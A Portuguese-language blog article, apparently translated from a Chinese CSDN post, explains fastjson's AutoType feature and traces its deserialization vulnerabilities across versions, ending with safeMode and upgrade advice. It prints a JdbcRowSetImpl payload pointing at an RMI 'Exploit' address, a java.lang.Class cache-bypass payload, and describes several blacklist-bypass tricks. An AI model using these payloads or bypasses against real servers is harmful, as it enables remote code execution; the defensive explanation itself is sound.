fastjson da biblioteca de análise JSON

Todos devem estar familiarizados com fastjson. Esta é a biblioteca de análise JSON de código aberto do Alibaba, que geralmente é usada para converter entre Java Beans e strings JSON.

Algum tempo atrás, fastjson foi exposto a ter brechas muitas vezes. Muitos artigos relataram este incidente e deram sugestões para atualização.

Mas, como desenvolvedor, estou mais preocupado com o motivo pelo qual ele é frequentemente exposto a vulnerabilidades. Então olhei o releaseNote do fastjson e alguns códigos fonte com dúvidas.

Finalmente descobri que isso está realmente relacionado a um recurso AutoType em fastjson.

Da v1.2.59 lançada em julho de 2019 à v1.2.71 lançada em junho de 2020, há atualizações sobre o AutoType em cada atualização de versão.

A seguir estão várias atualizações importantes sobre o AutoType nas notas de lançamento oficiais do fastjson:

Versão 1.2.59, segurança aprimorada quando AutoType está ativado fastjson

1.2.60 lançado, adicionando lista negra AutoType, corrigindo negação de problema de segurança de serviço fastjson

Versão 1.2.61, adicionar lista negra de segurança AutoType fastjson

1.2.62 lançado, adicionando lista negra de AutoType, desserialização de data aprimorada e JSONPath fastjson

Versão 1.2.66, correção de bugs e proteção de segurança, adição de lista negra AutoType fastjson

Versão 1.2.67, reforço de segurança de correção de bug, adicionado lista negra de AutoType fastjson

Versão 1.2.68, suporte GEOJSON, lista negra de AutoType complementada. ( Introduza uma configuração safeMode. Depois de configurar o safeMode, o autoType não é suportado, independentemente da lista branca ou negra. ) fastjson

Lançado em 1.2.69, reparando a recém-descoberta vulnerabilidade de segurança de bypass do comutador AutoType de alto risco, complementada a lista negra de AutoType fastjson

1.2.70 lançado, compatibilidade aprimorada, lista negra de AutoType adicionada

Mesmo na biblioteca de código aberto do fastjson, há um problema sugerindo que o autor forneça uma versão sem autoType:

![-w747][1]

Então, o que é AutoType? Por que o fastjson introduz o AutoType? Por que o AutoType leva a falhas de segurança? Este artigo irá analisá-lo em profundidade.

Onde o AutoType é sagrado?

A principal função do fastjson é serializar Java Beans em strings JSON, para que depois de obter as strings, elas possam ser persistidas por meio de bancos de dados e outros métodos.

No entanto, fastjson não usa [o próprio mecanismo de serialização do Java][2] no processo de serialização e desserialização, mas customiza um conjunto de mecanismos.

Na verdade, para o framework JSON, se você quiser converter um objeto Java em uma string, você tem duas opções:

  • 1. Baseado em atributos
  • 2. Baseado em setter/getter

Em nossa estrutura de serialização JSON comumente usada, FastJson e jackson serializam objetos em strings json percorrendo todos os métodos getter da classe. Gson não faz isso, ele percorre todas as propriedades da classe através de reflection e serializa seus valores em json.

Suponha que temos a seguinte classe Java:

class Store {
    private String name;
    private Fruit fruit;
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public Fruit getFruit() {
        return fruit;
    }
    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }
}

interface Fruit {
}

class Apple implements Fruit {
    private BigDecimal price;
    //省略 setter/getter、toString等
}

Quando quisermos serializá-lo, fastjson irá escanear o método getter, ou seja, localizar getName e getFruit, e então serializar os valores dos dois campos nome e fruta em uma string JSON.

Aí vem a dúvida, o Fruit que definimos acima é apenas uma interface, fastjson consegue serializar corretamente os valores dos atributos ao serializar? Se possível, em que tipo o fastjson desserializará a fruta ao desserializar?

Vamos tentar verificá-lo, com base em (fastjson v 1.2.68):

Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);

O código acima é relativamente simples. Criamos uma loja, especificamos um nome para ela e criamos um subtipo Fruit Apple e, em seguida, serializamos essa loja para obter o seguinte JSON.toJSONStringconteúdo JSON:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}

Então, qual é o tipo dessa fruta e ela pode ser desserializada na Apple? Vamos executar o seguinte código novamente:

Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);

Os resultados da execução são os seguintes:

toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)

Pode-se observar que após desserializar a loja, tentamos converter Fruit para Apple, mas é lançada uma exceção, se tentarmos converter diretamente para Fruit, nenhum erro será reportado, como por exemplo:

Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);

Pelo fenômeno acima, sabemos que quando uma classe contém uma interface (ou classe abstrata), ao usar fastjson para serialização, o subtipo será apagado, e apenas o tipo da interface (classe abstrata) será mantido, fazendo o inverso O tipo original não pode ser obtido durante a serialização.

Então, existe alguma maneira de resolver esse problema? fastjson apresenta o AutoType, que registra o tipo original durante a serialização.

O método de uso é por SerializerFeature.WriteClassNamemarcação, ou seja, no código acima

String jsonString = JSON.toJSONString(store);

alterado para:

String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);

Ou seja, do código acima, a saída é a seguinte:

System.out.println("toJSONString : " + jsonString);

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}

Percebe-se que após SerializerFeature.WriteClassNamea marcação com , há um @typecampo extra na string JSON, marcando o tipo original correspondente à classe, de modo que fica conveniente localizar o tipo específico ao desserializar

Como acima, após desserializar a string serializada, um tipo Apple pode ser obtido sem problemas e o conteúdo geral da saída é o seguinte:

toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}

Este é o AutoType e o motivo pelo qual o AutoType foi introduzido no fastjson.

No entanto, é também esse recurso que trouxe dor sem fim aos usuários fastjson subsequentes devido a considerações de segurança insuficientes no início do design funcional.

O que há de errado com AutoType?

Por causa da função autoType, quando fastjson desserializa a string JSON, ele lerá @typeo conteúdo, tentará desserializar o conteúdo JSON nesse objeto e chamará o método setter dessa classe.

Em seguida, você pode usar esse recurso para construir uma string JSON e usá-lo para @typeespecificar uma biblioteca de ataque que deseja usar.

Por exemplo, os hackers geralmente usam a biblioteca de classes de ataque com.sun.rowset.JdbcRowSetImpl. Esta é uma biblioteca de classes fornecida oficialmente pela sun. O dataSourceName desta classe suporta a passagem de uma fonte rmi. Ao analisar este uri, ele suportará chamadas remotas rmi. Chame o método no endereço rmi especificado.

E o fastjson chamará o método setter da classe de destino ao desserializar, portanto, se o hacker definir um comando para ser executado no dataSourceName de JdbcRowSetImpl, isso levará a sérias consequências.

Se você definir uma string JSON da seguinte maneira, poderá realizar a execução de comando remoto (em versões anteriores, JdbcRowSetImpl foi colocado na lista negra na nova versão)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

Essa é a chamada vulnerabilidade de execução de comando remoto, ou seja, explorar a vulnerabilidade para invadir o servidor de destino e executar comandos por meio do servidor.

Na versão inicial do fastjson (antes da v1.2.25), como o AutoType é ativado por padrão e não há restrições, pode-se dizer que ele é nu.

A partir da v1.2.25, fastjson desativou o suporte de tipo automático por padrão, adicionou checkAutotype e adicionou lista negra + lista branca para evitar que o tipo automático fosse ativado.

Porém, foi também a partir dessa época que começou o jogo entre hackers e autores fastjson.

Como o fastjson desativa o suporte de autotipo por padrão e verifica as listas negra e branca, a direção do ataque muda para "como ignorar o checkAutotype".

Vamos dar uma olhada mais de perto nas vulnerabilidades e princípios de ataque em cada versão do fastjson. Devido a limitações de espaço, não vou explicar os detalhes especiais aqui. Se você estiver interessado, posso escrever um artigo separado posteriormente para explicar os detalhes . O conteúdo a seguir é principalmente para fornecer algumas ideias, o objetivo é explicar a importância de prestar atenção à segurança ao escrever o código.

Ignorando checkAutotype, o jogo entre hackers e fastjson

Antes do fastjson v1.2.41, no código do checkAutotype, as listas negra e branca seriam filtradas primeiro.Se a classe a ser desserializada não estiver na lista negra e branca, a classe de destino será desserializada.

Porém, durante o processo de carregamento, o fastjson possui um processo especial, ou seja, ao carregar a classe, a soma antes e depois de className será removida, Lconforme ;mostra a figura Lcom.lang.Thread;.

![-w853][3]

As listas negras e brancas são detectadas por startWith, para que os hackers possam ignorar a verificação das listas negras e brancas adicionando somas antes Le depois da biblioteca de ataque que desejam usar, sem atrasar o carregamento normal por fastjson.;

Por exemplo , ele passará primeiro pela verificação da lista de permissões e, em seguida, o fastjson removerá as Lcom.sun.rowset.JdbcRowSetImpl;somas frontal Le traseira ao carregar a classe ;e se tornará com.sun.rowset.JdbcRowSetImpl.

Para evitar ser atacado, na versão v1.2.42 posterior, ao executar a detecção de lista negra e branca, fastjson primeiro julga se a frente e o verso do nome da classe da classe de destino é uma soma e, se for, intercepta a frente e somas de volta e, em seguida, prossegue para a verificação da lista Lnegra ;e Lbranca ;.

LLParece resolver o problema, mas depois que o hacker descobre essa regra, ele escreve duas vezes a soma antes e depois da classe alvo ao atacar ;;, para que ele ainda possa ignorar a detecção após ser interceptado. comoLLcom.sun.rowset.JdbcRowSetImpl;;

Há sempre pessoas que são melhores do que você. Na v1.2.43, antes do julgamento da lista negra e da lista branca, fastjson adicionou um LLjulgamento sobre se deve começar com .Se a classe de destino começar LLcom , uma exceção será lançada diretamente, então esta vulnerabilidade é temporariamente corrigida.

O hacker não conseguiu passar por Laqui ;, então ele tentou encontrar uma maneira de começar de outros lugares, porque quando o fastjson carrega classes, ele não apenas trata essas classes de maneira especial, mas também as Ltrata de maneira especial.;[

O mesmo método de ataque, adicionado na frente da classe de destino [, todas as versões anteriores à v1.2.43 caíram novamente.

Portanto, na versão v1.2.44, o autor do fastjson fez requisitos mais rígidos, desde que a classe de destino comece [ou ;termine com , uma exceção será lançada diretamente. Também resolve os bugs encontrados na v1.2.43 e nas versões históricas.

Nas próximas versões, o principal método de ataque dos hackers é contornar a lista negra, e o fastjson está constantemente melhorando sua própria lista negra.

O autoType pode ser atacado sem habilitá-lo?

Mas os bons tempos não duraram muito. Ao atualizar para v1.2.47, os hackers encontraram uma maneira de atacar novamente. E esse ataque só funciona quando o autoType está desativado.

Não é estranho que, se o autoType não estiver ativado, ele será atacado.

Como existe um cache global no fastjson, quando a classe é carregada, se o autotype não estiver habilitado, ele tentará pegar a classe do cache primeiro e, se existir no cache, retornará diretamente. ** Os hackers usam esse mecanismo para atacar.

O hacker primeiro encontra uma maneira de adicionar uma classe ao cache e, em seguida, a executa novamente para contornar a detecção da lista negra e branca. Que maneira inteligente.

Antes de tudo, se você deseja adicionar uma classe da lista negra ao cache, você precisa usar uma classe que não esteja na lista negra. Essa classe éjava.lang.Class

java.lang.ClassO desserializador correspondente à classe é MiscCodec. Ao desserializar, ele pegará o valor val na string json e carregará a classe correspondente ao val.

Se o cache fastjson for verdadeiro, a classe correspondente a este valor será armazenada em cache no cache global

Se a classe chamada val for carregada novamente e o tipo automático não estiver ativado, a próxima etapa é tentar obter essa classe do cache global e, em seguida, atacar.

Portanto, os hackers precisam apenas disfarçar a classe de ataque da seguinte maneira, no seguinte formato:

{"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"}

Portanto, na versão 1.2.48, fastjson corrigiu esse bug.No MiscCodec, onde a classe Class é processada, o cache fastjson é definido como falso, para que a classe de ataque não seja armazenada em cache e não seja obtida.

Nas versões seguintes, hackers e fastjson continuaram a contornar e adicionar listas negras à lista negra.

Até mais tarde, os hackers descobriram um novo método de exploração na versão anterior à v1.2.68.

Atacando com exceções

Em fastjson, se a classe especificada por @type for uma subclasse de Throwable, a classe de processamento de desserialização correspondente usará ThrowableDeserializer

No método de ThrowableDeserializer#deserialze, quando a chave de um campo também for @type, esse valor será considerado como o nome da classe e, então, uma detecção de checkAutoType será executada.

E especifique expectClass como Throwable.class, mas em checkAutoType, existe um acordo que, se expectClass for especificado, ele também passará na verificação.

![-w869][4]

Porque fastjson tentará executar o método getter interno ao desserializar e há um método getMessage na classe Exception.

Os hackers precisam apenas personalizar uma exceção e reescrever sua getMessage para atingir o objetivo do ataque.

Essa vulnerabilidade é a "vulnerabilidade séria" que se tornou viral na Internet em junho, forçando muitos desenvolvedores a atualizar para a nova versão.

Esta vulnerabilidade foi corrigida na v1.2.69. O principal método de reparo é modificar o expectClass que precisa ser filtrado, adicionar 4 novas classes e alterar o julgamento do tipo de classe original para julgamento de hash.

Na verdade, de acordo com a documentação oficial do fastjson, mesmo que você não atualize para a nova versão, você pode evitar esse problema na v1.2.68, ou seja, use safeMode

Modo de segurança AutoType?

Pode-se ver que a exploração dessas vulnerabilidades é quase toda em torno do AutoType. Portanto, na versão v1.2.68, o safeMode foi introduzido. Depois de configurar o safeMode, independentemente da lista branca ou negra, o autoType não é suportado, o que pode ser aliviado para até certo ponto. Ataque variante de Deserialization Gadgets.

Após configurar o safeMode, o campo @type não terá mais efeito, ou seja, ao analisar uma string JSON como {“@type”: “com.java.class”}, a classe correspondente não será mais desserializada.

A maneira de habilitar o safeMode é a seguinte:

ParserConfig.getGlobalInstance().setSafeMode(true);

Por exemplo, no exemplo de código inicial deste artigo, use o código acima para habilitar o modo safeMode, execute o código e obtenha a seguinte exceção:

Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.hollis.lab.fastjson.test.Apple
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)

Mas vale ressaltar que utilizando esta função, o fastjson irá desabilitar diretamente a função autoType, ou seja, no método checkAutoType, uma exceção será lançada diretamente.

![-w821][5]

Posfácio

No momento, fastjson foi lançado para a versão v1.2.72, e os problemas conhecidos na versão anterior foram corrigidos na nova versão.

Os desenvolvedores podem atualizar o fastjson usado em seus projetos para a versão mais recente e, se o AutoType não for necessário no código, eles podem considerar o uso do safeMode, mas o impacto no código histórico deve ser avaliado.

Como o fastjson define sua própria classe de ferramenta de serialização e usa a tecnologia asm para evitar reflexão, usar cache e fazer muita otimização de algoritmo, etc., o que melhora muito a eficiência da serialização e desserialização.

Alguns internautas compararam antes:

![-w808][6]

Claro que ser rápido também traz alguns problemas de segurança, o que é inegável.

Por fim, gostaria de dizer algumas palavras: embora o fastjson seja de código aberto do Alibaba, até onde eu sei, seu autor Wen Shao mantém a maior parte do tempo em seu tempo livre.

Um internauta em Zhihu disse: " Wen Shao quase apoiou uma biblioteca JSON que é amplamente usada por ele mesmo, enquanto outras bibliotecas dependem quase de uma equipe inteira. Com base nisso, Wen Shao, como "Ali que nunca mudou sua intenção original, "O primeira geração de pessoas de código aberto", bem merecido. "

De fato, muitas pessoas em Ali criticaram a vulnerabilidade do fastjson, mas depois das críticas, todos são mais compreensivos e tolerantes .

fastjson é atualmente uma biblioteca de classe doméstica relativamente conhecida e pode-se dizer que atraiu muita atenção, por isso tornou-se gradualmente o foco da pesquisa de segurança, para que algumas brechas profundas sejam descobertas. Como o próprio Wen Shao disse:

"Em comparação com a descoberta de vulnerabilidades, o que é pior é que existem vulnerabilidades que não são conhecidas por serem exploradas. A descoberta oportuna de vulnerabilidades e atualizações para corrigi-las são uma manifestação dos recursos de segurança."

Acho que você gosta

Origin blog.csdn.net/zy_dreamer/article/details/132307083
Recomendado
Clasificación